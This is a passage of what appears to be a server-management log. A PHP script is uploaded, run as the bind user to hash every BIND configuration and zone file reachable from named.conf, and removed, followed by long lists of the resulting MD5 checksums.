MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:12:02: Establishing a connection
2026-04-24 16:12:02: 

PUT: /tmp/pkp774117

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:12:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp774117; rm /tmp/pkp774117'

2026-04-24 16:12:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:12:37: Establishing a connection
2026-04-24 16:12:37: 

PUT: /tmp/pkp402646

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:12:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp402646; rm /tmp/pkp402646'

2026-04-24 16:12:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
